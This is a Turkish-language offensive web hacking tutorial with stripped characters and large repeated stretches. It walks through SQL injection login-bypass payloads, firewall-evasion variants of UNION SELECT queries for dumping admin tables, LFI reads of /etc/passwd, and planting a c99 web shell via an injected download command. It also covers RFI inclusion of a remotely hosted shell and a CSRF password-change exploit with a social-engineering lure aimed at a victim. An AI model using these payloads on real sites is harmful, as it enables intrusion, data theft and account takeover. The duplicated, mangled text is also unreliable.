wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
